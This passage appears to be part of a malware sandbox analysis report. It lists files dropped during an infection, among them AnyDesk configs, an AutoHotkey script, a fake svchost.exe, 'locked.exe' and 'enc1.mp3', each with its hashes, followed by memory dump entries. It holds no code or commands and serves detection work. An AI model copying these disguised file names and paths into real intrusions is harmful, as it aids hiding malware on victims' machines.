6452273c017db7cbe0ffc5b109bbf3f8d3282fb91bfa3c5eabc4fb8f1fc98cb0

SHA512
6c414b39bbc1f1f08446c6c6da6f6e1ceb9303bbf183ae279c872d91641ea8d67ec5e5c4e0824da3837eca73ec29fe70e92b72c09458c8ce50fa6f08791d1492

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf

Filesize
1KB

MD5
5f4b7580d8ed019695795f6b001120c8

SHA1
87f4a5d0b765718d57cf98b0547b7be5895271ab

SHA256
de380a1f5d95879e8ceee3975c8a94c5d3e6bef260073fe2da9a11436680131e

SHA512
eac1e21f95f249bdf741c833346f347d8eac9bc958546769ed0843498668b8b31ea8b8d70f04f1e49a38a5734cfdd8a9eff82cbe50288b2b9e27e101a83e3f82

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf

Filesize
2KB

MD5
f650e63c0e0b2d6983530f3325e9f8ac

SHA1
9a03a1448e35af756dd41af591cc9a2b29244e32

SHA256
54fc2868fbbca4c3f9d2bb7c027b67e6972ca12ce5ce67e27ac3ad74e6b0343d

SHA512
32cd9fefce2ef28dc571c6496b10e727ea642de8a7d160a5eae34f5f7d9f39fd5a04fc3e3d17bb6b53370b3b74b054a0d696959845fc8387f0727b5259fcfe6c

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf

Filesize
5KB

MD5
6d139a3a792a27eb7194e7af840e0f3d

SHA1
4f40b6a35393cc2b6e06ec7b386e999082af3716

SHA256
3aa64b33bc96efe2343fb5ea870dc73ddf397abf82eaf0e57854db7e9f4ddd68

SHA512
7ae91e3bc16dea722c4aa8120a55aa68387f1047fd7953f6cc4e2bbed0aea487744ad13d8b44bbdd3766d586f393d163145ddbf7ae690837d4d99a4f48715211

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf

Filesize
41B

MD5
a787c308bd30d6d844e711d7579be552

SHA1
473520be4ea56333d11a7a3ff339ddcadfe77791

SHA256
8a395011a6a877d3bdd53cc8688ef146160dab9d42140eb4a70716ad4293a440

SHA512
da4fcf3a3653ed02ee776cfa786f0e75b264131240a6a3e538c412e98c9af52c8f1e1179d68ed0dd44b13b261dc941319d182a16a4e4b03c087585b9a8286973

Download Submit
C:\Users\Admin\AppData\Roaming\AutoHotkeyU64.exe

Filesize
1.3MB

MD5
2d0600fe2b1b3bdc45d833ca32a37fdb

SHA1
e9a7411bfef54050de3b485833556f84cabd6e41

SHA256
effdea83c6b7a1dc2ce9e9d40e91dfd59bed9fcbd580903423648b7ca97d9696

SHA512
9891cd6d2140c3a5c20d5c2d6600f3655df437b99b09ae0f9daf1983190dc73385cc87f02508997bb696ac921eee43fccdf1dc210cc602938807bdb062ce1703

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\VUQ5A5Y6.txt

Filesize
577B

MD5
afcf15a6aecfcf41eeae8b52e2501fc2

SHA1
ffecb1af6dbaf673610b0a90a1d25acf41ccba92

SHA256
90441f0cf5a82576c255895a167dc591c98a903b25c63f77b3a2e6330439b3c8

SHA512
8112e96b4dca551c80a37b88d750b239eb13ee29f2b1078c94ad6eb04c64d44fab76206dd58b58b2ccaa4d8d89f477e1cbe887e489a06bb3129719a46737d74f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\WVCPO1MY.txt

Filesize
262B

MD5
8035eca3024c74aab951c739fcb95831

SHA1
4b3835a6ac12f0a4547bcf37d9967540484e8aaf

SHA256
0fce3247fb1059c2b3e75e5640bd2d2f278f4d5d59b1cb756b809d4413b72349

SHA512
c6329c309b332cc34467b0ecbe8edc19a06863ad0a136a252a8755ebafd4e40c4c37ff8decb8fde378302e08b1e7faaa0371e1c40ebd59e8021c4ad394a9705b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
663005c46c7bbcf1f9d31768e6d69be0

SHA1
39e0c2385888e351e679855ad2581ef5fe11c91e

SHA256
b3123bc2d9feebcfbc23b3b6950124052d4d4d500ad4bc947301a6e6ceddfd73

SHA512
2649c0bcd0c5f581bfd070b365e078a88e054eff72c8371452a1e96d9e3cf1424f9f7f32ae7bac4eadf6cb67072cbb14c7776eeef3d81a826ee3ee8146f6f02d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dcf0b3d001e09f46f1a971c2b6a85986

SHA1
5be69517f3e2601002f5f265181c6e222c4b64e3

SHA256
9d07a0c1df5f4797e82e355af48597732cd058cc73dcbd14dc977b818ca5426b

SHA512
947340ce7cc70d0725de27820472def5ff062b638e259d17f1915b877dc74f6318692f3a217d3f8aa822b75f3bd1c9dc68645221b2217ac1da00ce3fb698c03a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K5LTZQH1FV5V9EH2BBXG.temp

Filesize
7KB

MD5
485602510744faf765432ed47ff7ed46

SHA1
8132fa6ab7555c1c53425211b21c27f338824b1c

SHA256
e2a88c2f5318da5ee703f3f9d871421b0a8bad312e819d2afe1bbbc7f06499d5

SHA512
8ccc48ca3706377b055903c725b16c376309840724eb7ac059303c2a8759ecd56f6a43b8844403eeae145d2042b67a07e21446f6c0e292d4042680a9f25905a4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LCSY3D9I5F9O1HZVQEAL.temp

Filesize
7KB

MD5
f36146870758ee827c2300d18c1b2118

SHA1
5eee11fb35075a911b9e6653cebd0636b8a41482

SHA256
45794c9dd41734ca8e049fed0b0778bba74ca9b87f55987b0b3807a9ff0ec9f8

SHA512
1032efba45ee7088c093be4300645c2aa4ee5e385db79b515a3702243e7f2fb255a909a47e5c2e86c491404703ff54f72ba9cf59439c203ff0255f3fa34fdaa5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZDDDDWZNW598CZT2ANFJ.temp

Filesize
7KB

MD5
8bf65fa6757f8b08ce1afd6d406570b0

SHA1
d55f4ded57ce6351ad11492c017f9f8b278e87e1

SHA256
40f1cbed8c6f0adf493d41ddae6cac2fa20c9302293226294662ba08591c4cd8

SHA512
7713d4e5f3bce1842aa9be55321c6f3d30e6690cc549aea4a991bb7704a5c8bd4d68c77ae4232851371fee9248f9ad34b94d76a8ab577d334c8eef8bb7e12e7b

Download Submit
C:\Users\Admin\AppData\Roaming\doorbell-upd5.exe

Filesize
5.5MB

MD5
3c9a7a8d485138ef671c351c84ddc8ed

SHA1
ef6ff6756c868a58abf6d51a48a16716a6999f5a

SHA256
1d05443e37fdf3a66a8c2cca881c7fd3da1c75554a483def41b52e8e8ed24945

SHA512
65d7b0e9849be6d7ff0706388734be0181b40afde726a8e3949b71ee8ae4dcea102fe2f378913e0e26e2a849d3fc6b97760520c3631288090ca112e4198a3d6d

Download Submit
C:\Users\Admin\AppData\Roaming\doorbell2.ahk

Filesize
188B

MD5
d61c68849186eb9dbea169cceb79c2a6

SHA1
baca62e884a3d7dccae18ef64096db4d562def39

SHA256
6c4daf8ef0da2cf0ac079637a5c3062a610c4c710c7e4c55eedd1b010337bb1e

SHA512
deec0d4cb912d64db281459e8d01b21583fd7df3c46ea02cb66fffb5378ac6e1f375cb18f30ddccd908fc0c98d14094ea1620699f93498fc8c7be579a3a5d0b0

Download Submit
C:\Users\Admin\AppData\Roaming\enc1.mp3

Filesize
486KB

MD5
bbb44733d6b0bd75d6a26a9a4427705f

SHA1
c29d6ec521f30efb23331648a4a7a234b2db3894

SHA256
33b5c07a614eadb209b95b48454a10b1251809f8cc896577de5e117144b58507

SHA512
b846dce3ed1814e17b4f1a43910589e752e2ac911132d18275ff4d179796f1e7928a32636327a681d7c01edd704bec2efc8a12692597205bb334895c9063ceb3

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\user.conf

Filesize
2KB

MD5
34ba646c5fce5353002d9c74c3e1f326

SHA1
23f7277583288d10e5cc3c3cb9c3ce1349158bb1

SHA256
23c54c2c2faef7d8552e010c1a526c41e4be40b48236560718321bb6dacdd964

SHA512
68c547ceaa94fa9eff7decc3c66e76d991fbcda978d8d88263ad95521599f3abc1403a35a4c35806101603d0b82ea7c6f37fe52e917710caeb4f0a8199faa955

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\user.conf

Filesize
6KB

MD5
87174be19f50500c17e6904c38182c74

SHA1
5c6f597c9b75f69880f841768b53e712b74b6c67

SHA256
c0d645c28934ffb943855745dca98697c5bac05773a3cc674a19aeb5221a7b7f

SHA512
323c50526bfc49b2242f402c089c47e8ce9fa6945f083da9e3e07643bb306a471bc2a482887324fc318c53d7e246fe28d7d3235cde7548b44a29013ba5c416a6

Download Submit
C:\users\Admin\downloads\stn.exe

Filesize
120KB

MD5
a305e6c31b6d88e34612b66b0300b4e2

SHA1
35e9b585534d1b423703f38e33b5a47498b95b6f

SHA256
b23f9d126ccf76e954e695cb575e50389f26376abf0afb9e13e0c2eb28fd21d8

SHA512
c7c2a96e68c17093e42a8c7a39d582643703817d2aa28c75704630941c80eabba3ad76068e079a034a915610857b55a6a75d5a3b9ebf8b07843b6e9af4a00db0

Download Submit
C:\users\Admin\downloads\svchost.exe

Filesize
120KB

MD5
2023c20ca267a131567c313c91457d6f

SHA1
3e33bba998990a433420d4f029787eeda0ebaa9a

SHA256
79d9115fa235d0bc1c83a25d512612b156a83ac54b4c6c7cd96cf4c6f1a15d53

SHA512
aae271c8e94584c487552951e0e5c8dd679cfcd8b2e3ba8118039776f187c0429f9cfebe04e59d4196181325c931d151be467b2624049380ee89829f05a20a6a

Download Submit
\??\c:\users\Admin\downloads\AnyDesk.exe

Filesize
5.1MB

MD5
aee6801792d67607f228be8cec8291f9

SHA1
bf6ba727ff14ca2fddf619f292d56db9d9088066

SHA256
1cdafbe519f60aaadb4a92e266fff709129f86f0c9ee595c45499c66092e0499

SHA512
09d9fc8702ab6fa4fc9323c37bc970b8a7dd180293b0dbf337de726476b0b9515a4f383fa294ba084eccf0698d1e3cb5a39d0ff9ea3ba40c8a56acafce3add4f

Download Submit
\Users\Admin\AppData\Roaming\locked.exe

Filesize
122KB

MD5
6d97d6c2be27f7633da8432a5f90ccd2

SHA1
5ffca0110e122848b772e563f74c057d7f782664

SHA256
47b78d957e366dbf484d44bca911f41a7a795309e0d3e4c9d08fdc135efbb77a

SHA512
518e5678a7631258f2373d7f76987f668531e972e04d5bdbdf8aacb2e2a568af618b1e4f338a289edf11e419cc6b4813e95c4433e0e849243d10e10a895cbfce

Download Submit
memory/1072-387-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/1072-357-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/1116-462-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/1116-463-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/1624-993-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1692-581-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/1692-580-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/1988-44-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/1988-162-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/2008-1983-0x000007FEF67E0000-0x000007FEF6847000-memory.dmp

Filesize
412KB

Download
memory/2008-1991-0x000007FEF47F0000-0x000007FEF4801000-memory.dmp

Filesize
68KB

Download
memory/2008-1815-0x000007FEED9B0000-0x000007FEEEA60000-memory.dmp

Filesize
16.7MB

Download
memory/2008-1802-0x000007FEF6320000-0x000007FEF65D6000-memory.dmp

Filesize
2.7MB

Download
memory/2008-1801-0x000007FEF7400000-0x000007FEF7434000-memory.dmp

Filesize
208KB

Download
memory/2008-1800-0x000000013F030000-0x000000013F128000-memory.dmp

Filesize
992KB

Download
memory/2008-1806-0x000007FEF7290000-0x000007FEF72A1000-memory.dmp

Filesize
68KB

Download
memory/2008-1814-0x000007FEF6700000-0x000007FEF6711000-memory.dmp

Filesize
68KB

Download
memory/2008-1813-0x000007FEF6CC0000-0x000007FEF6CDD000-memory.dmp

Filesize
116KB

Download
memory/2008-1971-0x000007FEF62C0000-0x000007FEF6301000-memory.dmp

Filesize
260KB

Download
memory/2008-1964-0x000007FEF1D90000-0x000007FEF1F9B000-memory.dmp

Filesize
2.0MB

Download
memory/2008-1812-0x000007FEF6CE0000-0x000007FEF6CF1000-memory.dmp

Filesize
68KB

Download
memory/2008-1807-0x000007FEF6D70000-0x000007FEF6D87000-memory.dmp

Filesize
92KB

Download
memory/2008-1973-0x000007FEF2020000-0x000007FEF2041000-memory.dmp

Filesize
132KB

Download
memory/2008-1805-0x000007FEF72B0000-0x000007FEF72C7000-memory.dmp

Filesize
92KB

Download
memory/2008-1804-0x000007FEFAB70000-0x000007FEFAB88000-memory.dmp

Filesize
96KB

Download
memory/2008-1975-0x000007FEF1D70000-0x000007FEF1D88000-memory.dmp

Filesize
96KB

Download
memory/2008-1990-0x000007FEF4810000-0x000007FEF4823000-memory.dmp

Filesize
76KB

Download
memory/2008-1995-0x000007FEF3BF0000-0x000007FEF3C01000-memory.dmp

Filesize
68KB

Download
memory/2008-1996-0x000007FEF4830000-0x000007FEF4887000-memory.dmp

Filesize
348KB

Download
memory/2008-1997-0x000007FEF4040000-0x000007FEF4068000-memory.dmp

Filesize
160KB

Download
memory/2008-1999-0x000007FEF6060000-0x000007FEF6071000-memory.dmp

Filesize
68KB

Download
memory/2008-1994-0x000007FEF3CD0000-0x000007FEF3CE3000-memory.dmp

Filesize
76KB

Download
memory/2008-2000-0x000007FEF6040000-0x000007FEF6052000-memory.dmp

Filesize
72KB

Download
memory/2008-1992-0x000007FEF4720000-0x000007FEF47E5000-memory.dmp

Filesize
788KB

Download
memory/2008-2002-0x000007FEF5EA0000-0x000007FEF5EB3000-memory.dmp

Filesize
76KB

Download
memory/2008-2004-0x000007FEF5E60000-0x000007FEF5E71000-memory.dmp

Filesize
68KB

Download
memory/2008-2003-0x000007FEF5E80000-0x000007FEF5E94000-memory.dmp

Filesize
80KB

Download
memory/2008-2001-0x000007FEF5EC0000-0x000007FEF603A000-memory.dmp

Filesize
1.5MB

Download
memory/2008-1976-0x000007FEF1D50000-0x000007FEF1D61000-memory.dmp

Filesize
68KB

Download
memory/2008-1989-0x000007FEF5710000-0x000007FEF573F000-memory.dmp

Filesize
188KB

Download
memory/2008-1988-0x000007FEF5740000-0x000007FEF5797000-memory.dmp

Filesize
348KB

Download
memory/2008-1987-0x000007FEF57A0000-0x000007FEF57B1000-memory.dmp

Filesize
68KB

Download
memory/2008-1986-0x000007FEF6730000-0x000007FEF6748000-memory.dmp

Filesize
96KB

Download
memory/2008-1984-0x000007FEF6200000-0x000007FEF627C000-memory.dmp

Filesize
496KB

Download
memory/2008-1985-0x000007FEF6750000-0x000007FEF6761000-memory.dmp

Filesize
68KB

Download
memory/2008-1977-0x000007FEF6D50000-0x000007FEF6D61000-memory.dmp

Filesize
68KB

Download
memory/2008-1982-0x000007FEF6850000-0x000007FEF6880000-memory.dmp

Filesize
192KB

Download
memory/2008-1981-0x000007FEF6880000-0x000007FEF6898000-memory.dmp

Filesize
96KB

Download
memory/2008-1980-0x000007FEF68A0000-0x000007FEF68B1000-memory.dmp

Filesize
68KB

Download
memory/2008-1979-0x000007FEF6D10000-0x000007FEF6D2B000-memory.dmp

Filesize
108KB

Download
memory/2008-1978-0x000007FEF6D30000-0x000007FEF6D41000-memory.dmp

Filesize
68KB

Download
memory/2268-168-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/2268-1135-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/2624-257-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/2624-38-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/2624-222-0x0000000000190000-0x0000000000192000-memory.dmp

Filesize
8KB

Download
memory/2668-320-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/2668-292-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/2704-1830-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2704-1831-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2744-43-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/2744-161-0x0000000000300000-0x0000000001A49000-memory.dmp

Filesize
23.3MB

Download
memory/2864-1238-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2952-1795-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2952-1794-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2996-1288-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/2996-312-0x0000000000D40000-0x0000000002489000-memory.dmp

Filesize
23.3MB

Download
memory/3004-34-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/3004-33-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download